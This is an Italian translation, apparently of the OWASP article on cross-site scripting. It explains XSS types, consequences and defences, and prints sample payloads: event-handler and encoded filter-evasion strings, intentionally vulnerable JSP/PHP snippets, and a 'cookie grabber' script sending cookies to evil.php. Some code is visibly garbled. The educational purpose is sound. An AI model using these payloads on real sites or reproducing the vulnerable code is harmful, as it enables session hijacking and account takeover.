Heading

Overview

Gli attacchi Cross-Site Scripting (XSS) sono un tipo di iniezione, in cui script malevoli vengono iniettati in siti web altrimenti benigni e affidabili. Gli attacchi XSS si verificano quando un attaccante utilizza un’applicazione web per inviare codice dannoso, generalmente sotto forma di uno script lato browser, a un altro utente finale. Le falle che permettono a questi attacchi di avere successo sono abbastanza diffuse e si verificano ovunque un’applicazione web usi l’input di un utente all’interno dell’output che genera senza convalidarlo o codificarlo.

Un attaccante può usare XSS per inviare uno script dannoso a un utente ignaro. Il browser dell’utente finale non ha modo di sapere che lo script non dovrebbe essere affidabile, e lo eseguirà. Poiché pensa che lo script provenga da una fonte affidabile, lo script dannoso può accedere a qualsiasi cookie, token di sessione o altre informazioni sensibili conservate dal browser e utilizzate con quel sito. Questi script possono anche riscrivere il contenuto della pagina HTML. Per maggiori dettagli sui diversi tipi di XSSflaws, vedere: Tipi di Cross-Site Scripting.

Come evitare le vulnerabilità di Cross-site scripting

• Cheat Sheet per la prevenzione di XSS (Cross Site Scripting)
• DOM based XSS Prevention Cheat Sheet
• Articolo della Guida allo Sviluppo diOWASP sulla Validazione dei Dati
• Articolo della Guida allo Sviluppo diOWASP sul Phishing

Come esaminare il codice per vulnerabilità di Cross-site scripting Vulnerabilities

Vedi la Guida OWASP alla revisione del codice.

Come testare le vulnerabilità di Cross-site scripting

Vedi l’ultimo articolo della OWASP Testing Guide su come testare i vari tipi di vulnerabilità XSS.

• Testing_per_Reflected_Cross_site_scripting
• Testing_per_Stored_Cross_site_scripting
• Testing_per_DOM-based_Cross_site_scripting

Descrizione

Gli attacchi Cross-Site Scripting (XSS) avvengono quando:

1. I dati entrano in un’applicazione web attraverso una fonte non fidata, più frequentemente una richiesta web.
2. I dati sono inclusi in un contenuto dinamico che viene inviato a un utente web senza essere convalidato per contenuti dannosi.

Il contenuto dannoso inviato al browser web spesso prende la forma di un segmento di JavaScript, ma può anche includere HTML, Flash, o qualsiasi altro tipo di codice che il browser può eseguire. La varietà di attacchi basati su XSS è quasi illimitata, ma comunemente includono la trasmissione di dati privati, come cookie o altre informazioni di sessione, all’attaccante, il reindirizzamento della vittima a contenuti web controllati dall’attaccante, o l’esecuzione di altre operazioni dannose sulla macchina dell’utente sotto le sembianze del sito vulnerabile.

Attacchi XSS memorizzati e riflessi

Generalmente gli attacchi XSS possono essere classificati in due categorie: memorizzati e riflessi. C’è un terzo tipo di attacco XSS, molto meno conosciuto, chiamato DOM Based XSS, che viene discusso qui separatamente.

Attacchi XSS memorizzati

Gli attacchi memorizzati sono quelli in cui lo script iniettato viene memorizzato in modo permanente sui server di destinazione, come in un database, in un forum di messaggi, nel registro dei visitatori, nel campo dei commenti, ecc. La vittima recupera poi lo script maligno dal server quando richiede le informazioni memorizzate. StoredXSS è anche a volte indicato come Persistente o Type-I XSS.

Attacchi XSS riflessi

Gli attacchi riflessi sono quelli in cui lo script iniettato è riflesso dal server web, come in un messaggio di errore, un risultato di ricerca, o qualsiasi altra risposta che include alcuni o tutti gli input inviati al server come parte della richiesta. Gli attacchi riflessi sono consegnati alle vittime attraverso un altro percorso, come in un messaggio di posta elettronica, o su qualche altro sito web. Quando un utente viene indotto con l’inganno a cliccare su un link dannoso, a presentare un modulo particolarmente elaborato, o anche solo a navigare in un sito dannoso, il codice iniettato viaggia verso il sito web vulnerabile, che riflette l’attacco al browser dell’utente. Il browser quindi esegue il codice perché proviene da un server “fidato”. L’XSS riflesso è anche talvolta indicato come XSS non persistente o di tipo II.

Altri tipi di vulnerabilità XSS

Oltre all’XSS memorizzato e riflesso, un altro tipo di XSS, DOM BasedXSS è stato identificato da Amit Klein nel 2005. OWASP raccomanda la categorizzazione XSS come descritto nell’articolo OWASP:Types of Cross-Site Scripting, che copre tutti questi termini XSS, organizzandoli in una matrice di Stored vs. ReflectedXSS e Server vs. Client XSS, dove DOM Based XSS è un tipo di XSS basato sul DOM. Client XSS, dove DOM Based XSS è un sottoinsieme di ClientXSS.

Conseguenze degli attacchi XSS

La conseguenza di un attacco XSS è la stessa indipendentemente dal fatto che sia memorizzato o riflesso (o DOM Based). La differenza sta nel modo in cui il payload arriva al server. Non fatevi ingannare dal pensiero che un sito di “sola lettura” o “brochureware” non sia vulnerabile a gravi attacchi XSS riflessi. XSS può causare una varietà di problemi per l’utente finale che vanno in gravità da un fastidio alla compromissione completa dell’account. Gli attacchi XSS più gravi hanno comportato la divulgazione del cookie di sessione dell’utente, permettendo a un aggressore di dirottare la sessione dell’utente e prendere il controllo dell’account. Altri attacchi dannosi includono la divulgazione di file dell’utente finale, l’installazione di programmi Trojan horse, il reindirizzamento dell’utente a qualche altra pagina o sito, o la modifica della presentazione del contenuto. Una vulnerabilità XSS che permette a un attaccante di modificare un comunicato stampa o una notizia potrebbe influenzare il prezzo delle azioni di una società o diminuire la fiducia dei consumatori. Una vulnerabilità XSS su un sito farmaceutico potrebbe consentire a un utente malintenzionato di modificare le informazioni sul dosaggio con conseguente sovradosaggio. Per maggiori informazioni su questi tipi di attacchi vediContent_Spoofing.

Come determinare se sei vulnerabile

Le falle XSS possono essere difficili da identificare e rimuovere da un’applicazione web. Il modo migliore per trovare le falle è quello di eseguire una revisione di sicurezza del codice e cercare tutti i posti dove l’input di una richiesta HTTP potrebbe farsi strada nell’output HTML. Si noti che una varietà di tag HTML diversi può essere usata per trasmettere un JavaScript dannoso. Nessus, Nikto e alcuni altri strumenti disponibili possono aiutare a scansionare un sito web per queste falle, ma possono solo grattare la superficie. Se una parte di un sito web è vulnerabile, c’è un’alta probabilità che ci siano anche altri problemi.

Come proteggersi

Le principali difese contro gli XSS sono descritte nell’OWASP XSS Prevention CheatSheet.

Inoltre, è fondamentale disattivare il supporto HTTP TRACE su tutti i webserver. Un aggressore può rubare i dati dei cookie tramite Javascript anche quando il cookie.doc è disabilitato o non supportato dal client. Questo attacco è montato quando un utente pubblica uno script maligno su un forum, così quando un altro utente clicca sul link, viene attivata una chiamata asincrona HTTP Trace che raccoglie le informazioni dei cookie dell’utente dal server, e poi le invia a un altro server maligno che raccoglie le informazioni dei cookie in modo che l’aggressore possa montare un attacco session hijack.Questo è facilmente mitigato rimuovendo il supporto per HTTP TRACE su tutti i webserver.

Il progetto OWASP ESAPI ha prodotto un insieme di componenti di sicurezza riutilizzabili in diversi linguaggi, comprese le routine di validazione ed escaping per prevenire la manomissione dei parametri e l’iniezione di attacchi XSS. Inoltre, l’applicazione di formazione OWASP WebGoat Project ha lezioni sul Cross-Site Scripting e sulla codifica dei dati.

Sintassi alternativa per XSS

XSS usando script negli attributi

Gli attacchi XSS possono essere condotti senza usare <script>...</script>tags. Altri tag faranno esattamente la stessa cosa, per esempio:<body onload=alert('test1')> o altri attributi come: onmouseoveronerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS Using Script Via Encoded URI Schemes

Se abbiamo bisogno di nasconderci dai filtri delle applicazioni web possiamo provare a codificare i caratteri, es.g.: a=&\#X41 (UTF-8) e usarlo nei tag IMG:

<IMG SRC=j&#X41vascript:alert('test2')>

Ci sono diverse notazioni di codifica UTF-8 che ci danno ancora più possibilità.

XSS usando la codifica

Possiamo codificare il nostro script in base64 e metterlo nel tag META. In questo modo ci sbarazziamo completamente del alert(). Maggiori informazioni su questo metodo possono essere trovate in RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Questi e altri esempi possono essere trovati nel OWASP XSS Filter Evasion Cheat Sheet che è una vera e propria enciclopedia dell’attacco alternativo alla sintassi XSS.

Esempi

Gli attacchi di cross-site scripting possono verificarsi ovunque si permetta a possibili utenti malintenzionati di pubblicare materiale non regolamentato su un sito web affidabile per il consumo di altri utenti validi.

L’esempio più comune può essere trovato nei siti web bulletin-board che forniscono funzionalità di mailing list basate sul web.

Esempio 1

Il seguente segmento di codice JSP legge un ID dipendente, eid, da una richiesta HTTP e lo mostra all’utente.

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

Il codice di questo esempio funziona correttamente se eid contiene solo testo alfanumerico standard. Se eid ha un valore che include metacaratteri o codice sorgente, allora il codice verrà eseguito dal browser web mentre visualizza la risposta HTTP.

All’inizio, questa potrebbe non sembrare una grande vulnerabilità. Dopo tutto, perché qualcuno dovrebbe inserire un URL che causa l’esecuzione di codice dannoso sul proprio computer? Il vero pericolo è che un aggressore crei un URL dannoso, poi usa e-mail o trucchi di ingegneria sociale per attirare le vittime a visitare un link all’URL. Quando le vittime cliccano sul link, riflettono inconsapevolmente il contenuto dannoso attraverso l’applicazione web vulnerabile sui propri computer. Questo meccanismo di sfruttamento delle applicazioni web vulnerabili è noto come Reflected XSS.

Esempio 2

Il seguente segmento di codice JSP interroga un database per un dipendente con un dato ID e stampa il nome del dipendente corrispondente.

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>

Come nell’esempio 1, questo codice funziona correttamente quando i valori del nome sono ben tollerati, ma non fa nulla per prevenire gli exploit se non lo sono. Di nuovo, questo codice può sembrare meno pericoloso perché il valore di name viene letto da un database, il cui contenuto è apparentemente gestito dall’applicazione. Tuttavia, se il valore di name proviene da dati forniti dall’utente, allora il database può essere un canale per contenuti dannosi. Senza una corretta convalida dell’input su tutti i dati memorizzati nel database, un attaccante può eseguire comandi dannosi nel browser dell’utente. Questo tipo di exploit, noto come Stored XSS, è particolarmente insidioso perché l’indirezione causata dal negozio di dati rende più difficile identificare la minaccia e aumenta la possibilità che l’attacco colpisca più utenti. L’XSS ha iniziato in questa forma con i siti web che offrivano un “libro degli ospiti” ai visitatori. Gli attaccanti includevano JavaScript nelle loro voci del libro degli ospiti e tutti i successivi visitatori della pagina del libro degli ospiti eseguivano il codice dannoso.

Come dimostrano gli esempi, le vulnerabilità XSS sono causate da codice che include dati non validati in una risposta HTTP. Ci sono tre vettori con cui un attacco XSS può raggiungere una vittima:

• Come nell’esempio 1, i dati vengono letti direttamente dalla richiesta HTTP e riflessi nella risposta HTTP. Gli exploit XSS riflessi si verificano quando un aggressore induce un utente a fornire contenuti pericolosi a un’applicazione web vulnerabile, che vengono poi riflessi all’utente ed eseguiti dal browser web. Il meccanismo più comune per consegnare il contenuto dannoso è quello di includerlo come parametro in un URL che viene pubblicato pubblicamente o inviato per e-mail direttamente alle vittime. Gli URL costruiti in questo modo costituiscono il nucleo di molti schemi di phishing, in cui un aggressore convince le vittime a visitare un URL che rimanda a un sito vulnerabile. Dopo che il sito riflette il contenuto dell’attaccante all’utente, il contenuto viene eseguito e procede a trasferire informazioni private, come i cookie che possono includere informazioni sulla sessione, dalla macchina dell’utente all’attaccante o eseguire altre attività nefaste.
• Come nell’esempio 2, l’applicazione memorizza dati pericolosi in un database o in un altro archivio di dati affidabile. I dati pericolosi vengono successivamente riletti nell’applicazione e inclusi nel contenuto dinamico. Gli exploit StoredXSS si verificano quando un attaccante inietta contenuti pericolosi in un archivio di dati che viene successivamente letto e incluso nel contenuto dinamico. Dal punto di vista di un attaccante, il posto ottimale per iniettare contenuti pericolosi è in un’area che viene visualizzata da molti utenti o da utenti particolarmente interessanti. Gli utenti interessanti hanno tipicamente privilegi elevati nell’applicazione o interagiscono con dati sensibili che sono preziosi per l’attaccante. Se uno di questi utenti esegue contenuti dannosi, l’attaccante può essere in grado di eseguire operazioni privilegiate per conto dell’utente o ottenere l’accesso a dati sensibili appartenenti all’utente.
• Una fonte esterna all’applicazione memorizza dati pericolosi in un database o in un altro archivio di dati, e i dati pericolosi vengono successivamente riletti nell’applicazione come dati affidabili e inclusi nel contenuto dinamico.

Esempi di attacco

Esempio 1: Cookie Grabber

Se l’applicazione non convalida i dati di input, l’attaccante può facilmente rubare un cookie da un utente autenticato. Tutto ciò che l’attaccante deve fare è inserire il seguente codice in qualsiasi input pubblicato (cioè: bacheche, messaggi privati, profili utente):

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

Il codice di cui sopra passerà un contenuto sotto escape del cookie (secondo laRFC il contenuto deve essere sotto escape prima di inviarlo via protocollo HTTP con metodo GET) allo script evil.php nella variabile “cakemonster”. L’attaccante controlla quindi i risultati del suo script evil.php (uno script cookie grabber di solito scrive il cookie in un file) e lo usa.

Esempio di pagina di errore

Assumiamo di avere una pagina di errore, che sta gestendo richieste per una pagina non esistente, una classica pagina di errore 404. Possiamo usare il codice sottostante come esempio per informare l’utente su quale pagina specifica manca:

<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>

Vediamo come funziona: http://testsite.test/file_which_not_exist In risposta otteniamo: Not found: /file_which_not_exist

Ora proviamo a forzare la pagina di errore per includere il nostro codice: http://testsite.test/<script>alert("TEST");</script>Il risultato è: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Abbiamo iniettato con successo il codice, il nostro XSS! Cosa significa? Per esempio, che possiamo usare questa falla per cercare di rubare il sessioncookie di un utente.

• Attacchi XSS
• Iniezione di codice mobile non fidato
• Manipolazione della cronologia del sito (XSHM)

• Convalida non corretta dei dati
• Tipi di Cross-Site Scripting
• Articolo della Guida allo Sviluppo diOWASP sulla Convalida dei Dati
• Articolo della Guida allo Sviluppo diOWASP sul Phishing

• Convalida dei Dati

• Scheda di prevenzione XSS (Cross Site Scripting) diOWASP
• Testing_per_Reflected_Cross_site_scripting
• Testing_per_Stored_Cross_site_scripting
• Testing_per_DOM-based_Cross_site_scripting
• The Cross Site Scripting FAQ
• OWASP XSS Filter Evasion Cheat Sheet
• CERT Advisory on Malicious HTML Tags
• CERT “Understanding Malicious Content Mitigation
• Understanding the cause and effect of CSS Vulnerabilities
• XSSed – Cross-Site Scripting (XSS) Informazioni e archivio speculare di siti web vulnerabili

Categoria:IniezioneCategoria:OWASP Top Ten ProjectCategoria:Attacco